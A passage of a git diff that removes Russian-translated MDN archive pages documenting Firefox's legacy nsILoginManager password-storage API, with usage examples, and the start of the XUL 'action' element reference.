-<h3 id="autoCompleteSearch()" name="autoCompleteSearch()">autoCompleteSearch()</h3>
-<p>Generates results for a user field autocomplete menu.</p>
-<p></p><div class="blockIndicator note"><strong>Примечание:</strong> This method is provided for use only by the <code>FormFillController</code>, which calls it directly. It should not be used for any other purpose.</div><p></p>
-<pre class="eval">nsIAutoCompleteResult autoCompleteSearch(
- in AString aSearchString,
- in nsIAutoCompleteResult aPreviousResult,
- in nsIDOMHTMLInputElement aElement
-);
-</pre>
-<h6 id="Parameters" name="Parameters">Parameters</h6>
-<dl>
- <dt>
- <code>aSearchString</code></dt>
- <dd>
- Missing Description</dd>
- <dt>
- <code>aPreviousResult</code></dt>
- <dd>
- Missing Description</dd>
- <dt>
- <code>aElement</code></dt>
- <dd>
- Missing Description</dd>
-</dl>
-<h6 id="Return_value" name="Return_value">Return value</h6>
-<p>Missing Description</p>
-<h3 id="countLogins()" name="countLogins()">countLogins()</h3>
-<p>Returns the number of logins matching the specified criteria. Called when only the number of logins is needed, and not the actual logins (which avoids prompting the user for a Master Password, as the logins don't need to be decrypted).</p>
-<pre class="eval">unsigned long countLogins(
- in AString aHostname,
- in AString aActionURL,
- in AString aHttpRealm
-);
-</pre>
-<h6 id="Parameters" name="Parameters">Parameters</h6>
-<dl>
- <dt>
- <code>aHostname</code></dt>
- <dd>
- The hostname to which to restrict searches, formatted as a URL. For example, "<a class="external" href="http://www.bar.com" rel="freelink">http://www.bar.com</a>". To match all hostnames, specify <code>""</code> (empty string). A value of <code>null</code> will cause countLogins() to not match any logins.</dd>
- <dt>
- <code>aActionURL</code></dt>
- <dd>
- For form logins, this parameter should specify the URL to which the form will be submitted. To match any form login, specify <code>""</code> (empty string). To not match any form logins (For example when interested in protocol logins only), specify <code>null</code>.</dd>
- <dt>
- <code>aHttpRealm</code></dt>
- <dd>
- For protocol logins, specify the HTTP Realm for which the login applies; this is obtained from the WWW-Authenticate header (see <a class="external" href="http://tools.ietf.org/html/rfc2617" title="http://tools.ietf.org/html/rfc2617">RFC 2617</a>). To match any protocol login, specify <code>""</code> (empty string). To not match any protocol logins (For example when interested in form logins only), specify <code>null</code>.</dd>
-</dl>
-<h6 id="Return_value" name="Return_value">Return value</h6>
-<p>The number of logins matching the parameters passed.</p>
-<p></p><h3 id="fillForm()">fillForm()</h3><p></p>
-<p>Fills out a form with login information, if appropriate information is available.</p>
-<p></p><div class="blockIndicator note"><strong>Примечание:</strong> This method will attempt to fill out the form regardless of the setting of the <code>signon.autofillForms</code> preference.</div><p></p>
-<pre class="eval">boolean fillForm(
- in nsIDOMHTMLFormElement aForm
-);
-</pre>
-<h6 id="Parameters" name="Parameters">Parameters</h6>
-<dl>
- <dt>
- <code>aForm</code></dt>
- <dd>
- The HTMLform to attempt to fill out.</dd>
-</dl>
-<h6 id="Return_value" name="Return_value">Return value</h6>
-<p><code>true</code> if the form was successfully filled out; otherwise <code>false</code>.</p>
-<h3 id="findLogins()" name="findLogins()">findLogins()</h3>
-<p>Searches for logins matching the specified criteria. Called when looking for logins that might be applicable to a given form or authentication request.</p>
-<pre class="eval">void findLogins(
- out unsigned long count,
- in AString aHostname,
- in AString aActionURL,
- in AString aHttpRealm,
- [retval, array, size_is(count)] out nsILoginInfo logins
-);
-</pre>
-<h6 id="Parameters" name="Parameters">Parameters</h6>
-<dl>
- <dt>
- <code>count</code></dt>
- <dd>
- The number of elements in the returned array. JavaScript callers can simply use the array's <code>length</code> property and supply a dummy argument for this parameter.</dd>
- <dt>
- <code>aHostname</code></dt>
- <dd>
- The hostname to restrict searches to, formatted as a URL. For example, "<a class="external" href="http://www.bar.com" rel="freelink">http://www.bar.com</a>".</dd>
- <dt>
- <code>aActionURL</code></dt>
- <dd>
- For form logins, this parameter should specify the URL to which the form will be submitted. For protocol logins, specify <code>null</code>. An empty string ("") will match any value (except <code>null</code>).</dd>
- <dt>
- <code>aHttpRealm</code></dt>
- <dd>
- For protocol logins, specify the HTTP Realm for which the login applies; this is obtained from the WWW-Authenticate header (see <a class="external" href="http://tools.ietf.org/html/rfc2617" title="http://tools.ietf.org/html/rfc2617">RFC 2617</a>). For form logins, this parameter should be <code>null</code>. An empty string ("") will match any value (except <code>null</code>).</dd>
- <dt>
- <code>logins</code></dt>
- <dd>
- An array of <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code> objects.</dd>
-</dl>
-<h6 id="Example" name="Example">Example</h6>
-<p>This method can be called from JavaScript like this:</p>
-<pre class="brush: js"> var logins = myLoginMgr.findLogins({}, hostname, ...);
-</pre>
-<h3 id="getAllDisabledHosts()" name="getAllDisabledHosts()">getAllDisabledHosts()</h3>
-<p>Returns a list of all hosts for which login saving is disabled.</p>
-<pre class="eval">void getAllDisabledHosts(
- [optional] out unsigned long count,
- [retval, array, size_is(count)] out wstring hostnames
-);
-</pre>
-<h6 id="Parameters" name="Parameters">Parameters</h6>
-<dl>
- <dt>
- <code>count</code></dt>
- <dd>
- The number of elements in the returned array. JavaScript callers can simply use the array's <code>length</code> property and supply a dummy argument for this parameter.</dd>
- <dt>
- <code>hostnames</code></dt>
- <dd>
- An array of hostname strings in URL format without a pathname. For example: <span class="nowiki">"https://www.site.com"</span>.</dd>
-</dl>
-<h6 id="Example" name="Example">Example</h6>
-<p>You can call this method from JavaScript like this:</p>
-<pre class="brush: js"> var disabledHosts = myLoginMgr.getAllDisabledHosts({});
-</pre>
-<h3 id="getAllLogins()" name="getAllLogins()">getAllLogins()</h3>
-<p>Returns an array containing all logins recorded by the Login Manager.</p>
-<p>If you just want to see if any logins are stored, use <code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager#countLogins()">countLogins()</a></code> instead. It's more efficient, and avoids the possibility of the user being prompted for their master password.</p>
-<pre class="eval">void getAllLogins(
- [optional] out unsigned long count,
- [retval, array, size_is(count)] out nsILoginInfo logins
-);
-</pre>
-<h6 id="Parameters" name="Parameters">Parameters</h6>
-<dl>
- <dt>
- <code>count</code></dt>
- <dd>
- The number of elements in the returned array. JavaScript callers can simply use the array's <code>length</code> property and supply a dummy argument for this parameter.</dd>
- <dt>
- <code>logins</code></dt>
- <dd>
- An array of <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code> objects containing all the logins the Login Manager has on record.</dd>
-</dl>
-<h6 id="Example" name="Example">Example</h6>
-<p>You can call this method from JavaScript like this:</p>
-<pre class="brush: js"> var logins = myLoginMgr.getAllLogins({});
-</pre>
-<h3 id="getLoginSavingEnabled()" name="getLoginSavingEnabled()">getLoginSavingEnabled()</h3>
-<p>Reports whether or not saving login information is enabled for a host.</p>
-<pre class="eval">boolean getLoginSavingEnabled(
- in AString aHost
-);
-</pre>
-<h6 id="Parameters" name="Parameters">Parameters</h6>
-<dl>
- <dt>
- <code>aHost</code></dt>
- <dd>
- The hostname to check. This argument should be in the origin URL format, with no pathname. For example: <span class="nowiki">"https://www.site.com"</span>.</dd>
-</dl>
-<h6 id="Return_value" name="Return_value">Return value</h6>
-<p><code>true</code> if login saving is enabled for the host, otherwise <code>false</code>.</p>
-<h3 id="modifyLogin()" name="modifyLogin()">modifyLogin()</h3>
-<p>Modifies an existing login by replacing it with a new one.</p>
-<p>If newLoginData is a <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code>, all of the old login's <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code> properties are changed to the values from newLoginData (but the old login's <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginMetaInfo" title="">nsILoginMetaInfo</a></code> properties are unmodified).</p>
-<p>If newLoginData is a <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIPropertyBag" title="">nsIPropertyBag</a></code>, only the specified properties will be changed. The <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginMetaInfo" title="">nsILoginMetaInfo</a></code> properties of oldLogin can be changed in this manner.</p>
-<p>If the propertybag contains an item named "timesUsedIncrement", the login's timesUsed property will be incremented by the item's value.</p>
-<pre class="eval">void modifyLogin(
- in nsILoginInfo oldLogin,
- in nsISupports newLoginData
-);
-</pre>
-<h6 id="Parameters" name="Parameters">Parameters</h6>
-<dl>
- <dt>
- <code>oldLogin</code></dt>
- <dd>
- The login to be modified.</dd>
- <dt>
- <code>newLoginData</code></dt>
- <dd>
- The login information to replace the <code>oldLogin</code> with. This may be specified as either an <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code> or an <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIPropertyBag2" title="">nsIPropertyBag2</a></code> object.</dd>
-</dl>
-<h3 id="removeAllLogins()" name="removeAllLogins()">removeAllLogins()</h3>
-<p>Removes all logins known by the Login Manager. This works without a need for the master password, if one is set.</p>
-<pre class="eval">void removeAllLogins();
-</pre>
-<h6 id="Parameters" name="Parameters">Parameters</h6>
-<p>None.</p>
-<h3 id="removeLogin()" name="removeLogin()">removeLogin()</h3>
-<p>Removes a login from the Login Manager.</p>
-<p></p><div class="blockIndicator note"><strong>Примечание:</strong> The specified login must exactly match a stored login. However, the values of any <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginMetaInfo" title="">nsILoginMetaInfo</a></code> properties are ignored.</div><p></p>
-<pre class="eval">void removeLogin(
- in nsILoginInfo aLogin
-);
-</pre>
-<h6 id="Parameters" name="Parameters">Parameters</h6>
-<dl>
- <dt>
- <code>aLogin</code></dt>
- <dd>
- The login to remove from the Login Manager. Only a login that is an exact match is deleted.</dd>
-</dl>
-<p></p><h3 id="searchLogins()">searchLogins()</h3><p></p>
-<p>Searches for logins in the login manager's data store, returning an array of matching logins. If there are no matching logins, an empty array is returned.</p>
-<pre class="eval">void searchLogins(
- out unsigned long count,
- in nsIPropertyBag matchData,
- [retval, array, size_is(count)] out nsILoginInfo logins
-);
-</pre>
-<h6 id="Parameters" name="Parameters">Parameters</h6>
-<dl>
- <dt>
- <code>count</code></dt>
- <dd>
- The number of elements in the returned array.</dd>
- <dt>
- <code>matchData</code></dt>
- <dd>
- The data used for the search. This does not follow the same requirements as <code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager#findLogins()">findLogins()</a></code> for those fields; wildcard matches are not specified.</dd>
- <dt>
- <code>logins</code></dt>
- <dd>
- An array of matching <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code> objects.</dd>
-</dl>
-<h6 id="Example" name="Example">Example</h6>
-<p>This method can be called from JavaScript like this:</p>
-<pre class="brush: js"> var logins = myLoginMgr.searchLogins({}, matchData);
- var numLogins = logins.length;
-</pre>
-<h3 id="setLoginSavingEnabled()" name="setLoginSavingEnabled()">setLoginSavingEnabled()</h3>
-<p>Enables or disables storing logins for a specified host. When login storing is disabled, the Login Manager won't prompt the user to store logins for that host. Existing logins are not affected.</p>
-<pre class="eval">void setLoginSavingEnabled(
- in AString aHost,
- in boolean isEnabled
-);
-</pre>
-<h6 id="Parameters" name="Parameters">Parameters</h6>
-<dl>
- <dt>
- <code>aHost</code></dt>
- <dd>
- The hostname to adjust the setting for. This argument should be in the origin URL format, with no pathname. For example: <span class="nowiki">"https://www.site.com"</span>.</dd>
- <dt>
- <code>isEnabled</code></dt>
- <dd>
- If <code>true</code>, login saving is enabled for the specified host. If <code>false</code>, login saving is disabled.</dd>
-</dl>
-<h2 id="See_also" name="See_also">See also</h2>
-<ul>
- <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code></li>
- <li><a href="/en/XPCOM_Interface_Reference/nsILoginManager/Using_nsILoginManager" title="en/Using_nsILoginManager">Using nsILoginManager</a></li>
-</ul>
-<p></p>
diff --git a/files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/using_nsiloginmanager/index.html b/files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/using_nsiloginmanager/index.html
deleted file mode 100644
index 16c2c5a029..0000000000
--- a/files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/using_nsiloginmanager/index.html
+++ /dev/null
@@ -1,169 +0,0 @@
----
-title: Using nsILoginManager
-slug: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager/Using_nsILoginManager
-translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager/Using_nsILoginManager
----
-<div>
- </div>
-<h2 id="Working_with_the_Login_Manager" name="Working_with_the_Login_Manager">Working with the Login Manager</h2>
-<p>Extensions often need to securely store passwords to external sites, web applications, and so on. To do so securely, they can use <code><a href="/en-US/docs/XPCOM_Interface_Reference/nsILoginManager" title="en-US/docs/nsILoginManager">nsILoginManager</a></code>, which provides for secure storage of sensitive password information and <code><a href="/en-US/docs/XPCOM_Interface_Reference/nsILoginInfo" title="en-US/docs/nsILoginInfo">nsILoginInfo</a></code>, which provides a way of storing login information.</p>
-<h2 id="Getting_nsILoginManager" name="Getting_nsILoginManager">Getting <code>nsILoginManager</code></h2>
-<p>To get a component implementing <code>nsILoginManager</code>, use the following:</p>
-<div style="margin-right: 270px;">
- <pre class="brush: js">var passwordManager = Components.classes["@mozilla.org/login-manager;1"].getService(
- Components.interfaces.nsILoginManager
-);</pre>
-</div>
-<p>Most Login Manager functions take an <code><a href="/en-US/docs/XPCOM_Interface_Reference/nsILoginInfo" title="en-US/docs/nsILoginInfo">nsILoginInfo</a></code> object as a parameter. An <code><a href="/en-US/docs/XPCOM_Interface_Reference/nsILoginInfo" title="en-US/docs/nsILoginInfo">nsILoginInfo</a></code> object contains the following attributes: hostname, form submit URL, HTTP realm, username, username field, password, and password field. The hostname, username and password attributes are mandatory, while the other fields are set based on whether the login is for a web page form or an HTTP/FTP authentication site login. See the <code><a href="/en-US/docs/XPCOM_Interface_Reference/nsILoginInfo" title="en-US/docs/nsILoginInfo">nsILoginInfo</a></code> attribute definitions for more details. Defining an <code><a href="/en-US/docs/XPCOM_Interface_Reference/nsILoginInfo" title="en-US/docs/nsILoginInfo">nsILoginInfo</a></code> object is simple:</p>
-<div style="margin-right: 270px;">
- <pre class="brush: js">var nsLoginInfo = new Components.Constructor(
- "@mozilla.org/login-manager/loginInfo;1",
- Components.interfaces.nsILoginInfo,
- "init"
-);
-
-var loginInfo = new nsLoginInfo(
- hostname, formSubmitURL, httprealm, username, password, usernameField, passwordField
-);
-</pre>
-</div>
-<h2 id="Examples" name="Examples">Examples</h2>
-<h3 id="Creating_a_login_for_a_web_page" name="Creating_a_login_for_a_web_page">Creating a login for a web page</h3>
-<pre class="brush: js">var formLoginInfo = new nsLoginInfo(
- 'http://www.example.com',
- 'http://login.example.com',
- null,
- 'joe',
- 'SeCrEt123',
- 'uname',
- 'pword'
-);</pre>
-<p>This login would correspond to a HTML form such as:</p>
-<pre class="brush: html">&lt;form action="http://login.example.com/foo/authenticate.cgi"&gt;
- &lt;div&gt;Please log in.&lt;/div&gt;
- &lt;label&gt;Username:&lt;/label&gt; &lt;input type="text" name="uname"&gt;
- &lt;label&gt;Password:&lt;/label&gt; &lt;input type="password" name="pword"&gt;
-&lt;/form&gt;
-</pre>
-<h3 id="Creating_a_site_authentication_login" name="Creating_a_site_authentication_login">Creating a site authentication login</h3>
-<pre class="brush: js">var authLoginInfo = new nsLoginInfo(
- 'http://www.example.com',
- null,
- 'ExampleCo Login',
- 'alice',
- 'SeCrEt321',
- "",
- ""
-);
-</pre>
-<p>This would correspond to a login on <span class="nowiki">http://www.example.com</span> when the server sends a reply such as:</p>
-<pre class="eval"> HTTP/1.0 401 Authorization Required
- Server: Apache/1.3.27
- WWW-Authenticate: Basic realm="ExampleCo Login"
-
-</pre>
-<h3 id="Creating_a_local_extension_login" name="Creating_a_local_extension_login">Creating a local extension login</h3>
-<pre class="brush: js">var extLoginInfo = new nsLoginInfo(
- 'chrome://firefoo',
- null,
- 'User Registration',
- 'bob',
- '123sEcReT',
- "",
- ""
-);</pre>
-<p>From a component creating a new info block is done slightly differently:</p>
-<pre>var nsLoginInfo = <span class="k"><span class="s0">new</span></span> <a class="r" title='Search for references of "Components"'>Components</a>.<a class="r" title='Search for references of "Constructor"'>Constructor</a>("@<a class="r" title='Search for references of "mozilla"'>mozilla</a>.<a class="r" title='Search for references of "org"'>org</a>/<a class="r" title='Search for references of "login"'>login</a>-<a class="r" title='Search for references of "manager"'>manager</a>/<a class="r" title='Search for references of "loginInfo"'>loginInfo</a>;1", <a class="r" title='Search for references of "Ci"'>Ci</a>.<a class="r" title='Search for references of "nsILoginInfo"'>nsILoginInfo</a>, "<a class="r" title='Search for references of "init"'>init</a>");
-<span class="k">var</span> extLoginInfo = <span class="k"><span class="s0">new</span></span> <a class="r" title='Search for references of "nsLoginInfo"'><span class="s1">nsLoginInfo</span></a>('<a class="r" title='Search for references of "chrome"'>chrome</a>:<span class="c">//firefoo',</span> null, 'User Registration', 'bob', '123sEcReT', '', '');
-//var extLoginInfo = new nsLoginInfo(<a class="r" title='Search for references of "aHostname"'>aHostname</a>, <a class="r" title='Search for references of "aFormSubmitURL"'>aFormSubmitURL</a>, <a class="r" title='Search for references of "aHttpRealm"'>aHttpRealm</a>, <a class="r" title='Search for references of "aUsername"'>aUsername</a>, <a class="r" title='Search for references of "aPassword"'>aPassword</a>, <a class="r" title='Search for references of "aUsernameField"'>aUsernameField</a>, <a class="r" title='Search for references of "aPasswordField"'>aPasswordField)</a>
-</pre>
-<p>The Login Manager treats this as if it was a web site login. You should use your extension's chrome:// URL to prevent conflicts with other extensions, and a realm string which briefly denotes the login's purpose.</p>
-<h2 id="Storing_a_password" name="Storing_a_password">Storing a password</h2>
-<p>To store a password in the Login Manager, you first need to create an <code><a href="/en-US/docs/XPCOM_Interface_Reference/nsILoginInfo" title="en-US/docs/nsILoginInfo">nsILoginInfo</a></code> object as defined above. Then you simply need to call the <code><a href="/en-US/docs/XPCOM_Interface_Reference/nsILoginManager" title="en-US/docs/nsILoginManager">nsILoginManager</a></code> method <code><a href="/en-US/docs/XPCOM_Interface_Reference/nsILoginManager#addLogin.28.29" title="en-US/docs/nsILoginManager#addLogin.28.29">addLogin()</a></code>.</p>
-<pre class="brush: js">myLoginManager.addLogin(loginInfo);
-</pre>
-<p></p><div class="blockIndicator note"><strong>Примечание:</strong> This will throw an exception if both the <code>httprealm</code> and <code>formSubmitURL</code> parameters are <code>NULL</code>. One must be specified when storing a password. The <code>hostname</code>, <code>username</code> and <code>password</code> parameters are also mandatory.</div><p></p>
-<h2 id="Retrieving_a_password" name="Retrieving_a_password">Retrieving a password</h2>
-<p>Retrieving a password from the Login Manager is slightly more difficult. In order to locate a password, the <code>hostname</code>, <code>formSubmitURL</code> and <code>httprealm</code> must <strong>match exactly</strong> what is stored for the password to be found. The only exception is that if the stored <code>formSubmitURL</code> is blank, in which case the <code>formSubmitURL</code> parameter is ignored. Note that the <code>hostname</code> and <code>formSubmitURL</code> arguments should not include the path from the full URL. The example below should serve as a starting point for matching form logins:</p>
-<pre class="brush: js">var hostname = 'http://www.example.com';
-var formSubmitURL = 'http://www.example.com'; // not http://www.example.com/foo/auth.cgi
-var httprealm = null;
-var username = 'user';
-var password;
-
-try {
- // Get Login Manager
- var myLoginManager = Components.classes["@mozilla.org/login-manager;1"].
- getService(Components.interfaces.nsILoginManager);
-
- // Find users for the given parameters
- var logins = myLoginManager.findLogins({}, hostname, formSubmitURL, httprealm);
-
- // Find user from returned array of nsILoginInfo objects
- for (var i = 0; i &lt; logins.length; i++) {
- if (logins[i].username == username) {
- password = logins[i].password;
- break;
- }
- }
-}
-
-catch(ex) {
- // This will only happen if there is no nsILoginManager component class
-}</pre>
-<p>Note that the user will be prompted for their master password if they have chosen to set one to secure their passwords.</p>
-<h2 id="Removing_a_password" name="Removing_a_password">Removing a password</h2>
-<p>Removing a password is simple:</p>
-<pre class="brush: js">myLoginManager.removeLogin(loginInfo);
-</pre>
-<p>When removing a password the specified <code><a href="/en-US/docs/XPCOM_Interface_Reference/nsILoginInfo" title="en-US/docs/nsILoginInfo">nsILoginInfo</a></code> object must <strong>exactly match</strong> what was stored or an exception will be thrown. This includes the password attribute. Here's an example on how to remove the password without actually knowing what the password is:</p>
-<pre class="brush: js">// example values
-var hostname = 'http://www.example.com';
-var formSubmitURL = 'http://www.example.com';
-var httprealm = null;
-var username = 'user';
-
-try {
- // Get Login Manager
- var passwordManager = Components.classes["@mozilla.org/login-manager;1"].
- getService(Components.interfaces.nsILoginManager);
-
- // Find users for this extension
- var logins = passwordManager.findLogins({}, hostname, formSubmitURL, httprealm);
-
- for (var i = 0; i &lt; logins.length; i++) {
- if (logins[i].username == username) {
- passwordManager.removeLogin(logins[i]);
- break;
- }
- }
-}
-catch(ex) {
- // This will only happen if there is no nsILoginManager component class
-}</pre>
-<h2 id="Changing_stored_login_information" name="Changing_stored_login_information">Changing stored login information</h2>
-<p>Changing a password is rather simple. Since all this does is make a <code><a href="/en-US/docs/XPCOM_Interface_Reference/nsILoginManager#removeLogin.28.29" title="en-US/docs/nsILoginManager#removeLogin.28.29">removeLogin()</a></code> call followed by an <code><a href="/en-US/docs/XPCOM_Interface_Reference/nsILoginManager#addLogin.28.29" title="en-US/docs/nsILoginManager#addLogin.28.29">addLogin()</a></code> call, it has the same caveats as both of them: namely that the <code>oldLogin</code> must match an existing login exactly (see above) and that the <code>newLogin</code> attributes must be set correctly.:</p>
-<pre class="brush: js">myLoginManager.modifyLogin(oldLogin, newLogin);</pre>
-<h2 id="Debugging" name="Debugging">Login Manager notifications</h2>
-<p></p><div class="blockIndicator standardNote">
- <p><a href="https://developer.mozilla.org/ru/docs/Mozilla/Firefox/Releases/3.5">Замечание по Firefox 3.5</a></p>
- <p style="font-weight: 400;">The Login Manager notifications were added in Firefox 3.5.</p>
-</div><p></p>
-<p>Firefox 3.5 and later send assorted notifications when various Login Manager related events occur, including when form autofill does not occur for various reasons, as well as when changes are made to the Login Manager's database. See the <a class="internal" href="/en-US/docs/Observer_Notifications#Login_Manager" title="en-US/docs/Observer Notifications#Login Manager">Login Manager</a> section of the article on observer notifications for details.</p>
-<h2 id="Debugging" name="Debugging">Debugging</h2>
-<p>The login manager implementation has the ability to send debug messages to the Error Console, which can provide some visibility into what it's doing. To enable the debug logging, see <a class="external" href="http://wiki.mozilla.org/Firefox:Password_Manager_Debugging" rel="freelink">http://wiki.mozilla.org/Firefox:Pass...ager_Debugging</a>.</p>
-<h2 id="Supporting_older_versions_of_Firefox" name="Supporting_older_versions_of_Firefox">Supporting older versions of Gecko</h2>
-<p>If you want your extension to support both Gecko 1.9 (Firefox 3, Thunderbird 3, SeaMonkey 2) and older versions it will need to implement both the <code><a href="/en-US/docs/XPCOM_Interface_Reference/nsILoginManager" title="en-US/docs/nsILoginManager">nsILoginManager</a></code> and <code><a href="/en-US/docs/nsIPasswordManager" title="en-US/docs/nsIPasswordManager">nsIPasswordManager</a></code> components. A simple method to do this is as follows:</p>
-<pre class="brush: js">if ("@mozilla.org/passwordmanager;1" in Components.classes) {
- // Password Manager exists so this is not Firefox 3 (could be Firefox 2, Netscape, SeaMonkey, etc).
- // Password Manager code
-} else if ("@mozilla.org/login-manager;1" in Components.classes) {
- // Login Manager exists so this is Firefox 3
- // Login Manager code
-}</pre>
-<h2 id="See_also" name="See_also">See also</h2>
-<ul>
- <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager" title="">nsILoginManager</a></code></li>
- <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code></li>
- <li><a href="/en-US/docs/Creating_a_Login_Manager_storage_module" title="en-US/docs/Creating_a_Login_Manager_storage_module">Creating a Login Manager storage module</a></li>
-</ul>
diff --git a/files/ru/mozilla/tech/xul/action/index.html b/files/ru/mozilla/tech/xul/action/index.html
deleted file mode 100644
index 3f4ec0f4de..0000000000
--- a/files/ru/mozilla/tech/xul/action/index.html
+++ /dev/null
@@ -1,117 +0,0 @@
----
-title: action
-slug: Mozilla/Tech/XUL/action
-tags:
- - XUL Elements
- - XUL ссылки
-translation_of: Archive/Mozilla/XUL/action
----
-<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
- « <a href="/ru/docs/XUL/Справочник">Справочник по XUL</a> [
- <a href="#Examples">Примеры</a> |
- <a href="#Атрибуты">Атрибуты</a> |
- <a href="#Property">Свойства</a> |
- <a href="#Методы">Методы</a> |
- <a href="#Related">См. также</a> ]
-</span></div>
-
-<div class="noinclude">Действие должно содержаться в <code><a href="/ru/docs/Mozilla/Tech/XUL/query" title="query">query</a></code> или <code><a href="/ru/docs/Mozilla/Tech/XUL/rule" title="rule">rule</a></code> элементе. Используется для указания содержимого,  генерируемого для каждого совпадающего узла. Внутри <code>action</code>, атрибуты анализируются и выявляются <code id="a-uri"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/uri">uri</a></code>, <a class="external" href="http://xul.com/tutorials/xultu/templateex.html">ссылки на ресурсы и переменные</a>.</div>
-
-<p>Дополнительная информация доступна в
-<a href="/ru/XUL_Tutorial/Advanced_Rules">руководстве по XUL</a>.<br>
- Зарубежный источник: <a href="/en-US/docs/XUL/Template_Guide/Actions">Actions</a>.</p>
-
-<h3 id="Examples" name="Examples">Примеры</h3>
-
-<pre> пример использования
-</pre>
-<pre><code>&lt;vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
- ref="http://www.xulplanet.com/rdf/A"&gt;
- &lt;template&gt;
- &lt;query&gt;
- &lt;content uri="?start"/&gt;
- &lt;triple subject="?start"
- predicate="http://www.xulplanet.com/rdf/relatedItem"
- object="?relateditem"/&gt;
- &lt;/query&gt;
- &lt;action&gt;
- &lt;button uri="?relateditem" label="?relateditem"/&gt;
- &lt;/action&gt;
- &lt;/template&gt;
-&lt;/vbox&gt;</code></pre>
-
-<h3 id="Attributes" name="Attributes">Атрибуты</h3>
-
-<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
-<tbody>
-<tr>
-<td><p><strong>Наследуется с XUL элемента</strong><br> <small>
-<code id="a-align"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/align">align</a></code>,
-<code id="a-allowevents"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/allowevents">allowevents</a></code>,
-<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/allownegativeassertions">allownegativeassertions</a></code>,
-<code id="a-class"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/class">class</a></code>,
-<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
-<code id="a-collapsed"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/collapsed">collapsed</a></code>,
-<code id="a-container"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/container">container</a></code>,
-<code id="a-containment"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/containment">containment</a></code>,
-<code id="a-context"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/context">context</a></code>,
-<code id="a-contextmenu"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/contextmenu">contextmenu</a></code>,
-<code id="a-datasources"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/datasources">datasources</a></code>,
-<code id="a-dir"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/dir">dir</a></code>,
-<code id="a-empty"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/empty">empty</a></code>,
-<code id="a-equalsize"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/equalsize">equalsize</a></code>,
-<code id="a-flags"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/flags">flags</a></code>,
-<code id="a-flex"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/flex">flex</a></code>,
-<code id="a-height"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/height">height</a></code>,
-<code id="a-hidden"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/hidden">hidden</a></code>,
-<code id="a-id"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/id">id</a></code>,
-<code id="a-insertafter"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/insertafter">insertafter</a></code>,
-<code id="a-insertbefore"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/insertbefore">insertbefore</a></code>,
-<code id="a-left"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/left">left</a></code>,
-<code id="a-maxheight"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/maxheight">maxheight</a></code>,
